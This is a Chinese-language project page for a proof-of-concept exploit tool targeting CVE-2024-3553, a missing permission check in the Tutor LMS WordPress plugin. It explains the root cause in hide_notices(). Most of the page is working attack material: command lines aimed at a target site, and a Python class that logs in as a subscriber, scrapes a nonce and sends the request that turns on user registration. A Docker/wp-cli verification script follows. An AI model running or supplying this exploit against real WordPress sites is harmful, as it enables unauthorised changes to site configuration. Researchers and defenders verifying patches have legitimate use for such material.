Tutor LMS 权限校验缺失漏洞利用工具 (CVE-2024-3553)

2 阅读4分钟

Tutor LMS 权限校验缺失漏洞利用工具

本项目是针对 WordPress Tutor LMS – eLearning and online course solution 插件(版本 <= 2.6.2)中一个高危授权绕过漏洞(CVE-2024-3553)的概念验证(PoC)代码和自动化利用工具。

功能特性

  • 漏洞原理分析:详细解析classes/User.php文件中hide_notices()函数缺失current_user_can('manage_options')权限检查的根本原因。
  • 自动化利用:提供完整的Python脚本,允许低权限用户(如订阅者)通过会话管理自动获取Nonce并发送恶意请求,启用用户注册功能。
  • 灵活性:支持仅检查目标网站当前注册状态,无需执行实际利用。
  • 手动复现指南:提供了清晰的Bash脚本和cURL命令步骤,用于手动完成登录、提取Nonce和触发漏洞的完整流程。
  • 容器环境测试:集成了针对Docker容器环境的直接测试脚本,用于快速验证漏洞存在与否。

安装指南

环境要求

  • Python 3.6+
  • requests

依赖安装

# 安装Python依赖
pip install requests

手动测试依赖 (可选)

  • curl:用于手动发送HTTP请求
  • grep:用于从响应中提取Nonce

使用说明

自动化利用脚本 (exploit-cve-2024-3553-v2.py)

该脚本模拟一个低权限用户(如订阅者)登录WordPress,自动获取管理员界面的Nonce,并发送构造的请求以启用用户注册。

基础用法

# 使用已知的低权限账户登录并执行漏洞利用
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# 仅检查当前用户注册功能状态,不进行利用
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

工作流程

  1. 登录:脚本使用提供的用户名和密码向/wp-login.php发送POST请求,获取会话Cookie。
  2. 获取Nonce:使用获取的Cookie访问/wp-admin/,并从返回的HTML中提取必需的_wpnonce值。
  3. 发起攻击:向/wp-admin/index.php发送带有tutor-hide-notice=registrationtutor-registration=enable参数的GET请求,并附上Nonce,从而启用users_can_register选项。
  4. 验证结果:可选地,再次检查注册状态是否已被修改为启用状态。

手动利用复现 (manual_exploit.sh)

此Bash脚本逐步演示了漏洞利用的各个阶段,适合教学和手动测试。

# 确保脚本具有执行权限
chmod +x manual_exploit.sh
# 运行脚本
./manual_exploit.sh

脚本会依次执行:

  1. 登录目标WordPress网站。
  2. 访问后台并提取Nonce。
  3. 构造并发送最终的攻击载荷。
  4. 显示关键步骤的输出,便于分析。

核心代码

漏洞利用核心逻辑 (TutorLMSExploit 类)

以下代码片段展示了漏洞利用的核心实现,包括会话保持、Nonce提取和漏洞触发。

class TutorLMSExploit:
    def __init__(self, target_url, username=None, password=None):
        self.target_url = target_url.rstrip('/')
        self.session = requests.Session()
        # ... 初始化代码 ...

    def login(self):
        """模拟低权限用户登录,获取WordPress会话Cookie"""
        login_url = urljoin(self.target_url, '/wp-login.php')
        data = {
            'log': self.username,
            'pwd': self.password,
            'wp-submit': 'Log In',
            'testcookie': '1'
        }
        response = self.session.post(login_url, data=data)
        # 检查登录是否成功(通过Cookie判断)
        if any('wordpress_logged_in' in cookie.name for cookie in self.session.cookies):
            return True
        return False

    def get_nonce(self):
        """从管理员页面提取Nonce"""
        admin_url = urljoin(self.target_url, '/wp-admin/')
        response = self.session.get(admin_url)
        # 使用正则表达式匹配Nonce值
        match = re.search(r'_wpnonce=([a-f0-9]+)', response.text)
        if match:
            return match.group(1)
        return None

    def enable_registration(self):
        """发送恶意请求,利用漏洞启用用户注册"""
        if not self.login():
            return False
            
        nonce = self.get_nonce()
        if not nonce:
            return False
            
        exploit_url = urljoin(self.target_url, '/wp-admin/index.php')
        params = {
            'tutor-hide-notice': 'registration',
            'tutor-registration': 'enable',
            '_wpnonce': nonce
        }
        response = self.session.get(exploit_url, params=params)
        # 检查请求是否成功(非200状态码也可能成功,需结合业务逻辑判断)
        return response.status_code == 200

漏洞验证核心逻辑 (test_direct.sh)

以下Bash脚本通过直接调用WordPress CLI (wp-cli) 在容器环境中模拟攻击载荷,直观展示漏洞影响。

#!/bin/bash
# 直接测试漏洞效果
CONTAINER="wordpress_container"

# 获取并展示当前用户注册设置
echo "[*] 初始注册状态:"
INITIAL=$(docker exec $CONTAINER wp option get users_can_register --allow-root)
echo "    $INITIAL"

# 模拟漏洞攻击:直接更新选项,绕过所有权限检查
echo -e "\n[*] 模拟漏洞利用: update_option('users_can_register', 1);"
docker exec $CONTAINER wp option update users_can_register 1 --allow-root

# 验证选项已被修改
echo -e "\n[*] 攻击后注册状态:"
FINAL=$(docker exec $CONTAINER wp option get users_can_register --allow-root)
echo "    $FINAL"

# 确认漏洞是否存在
if [ "$FINAL" = "1" ]; then
    echo -e "\n[!] 漏洞存在: 低权限用户成功修改了系统选项!"
fi

6HFtX5dABrKlqXeO5PUv/0LVWd2rjIcp1yeGgl6uoJk=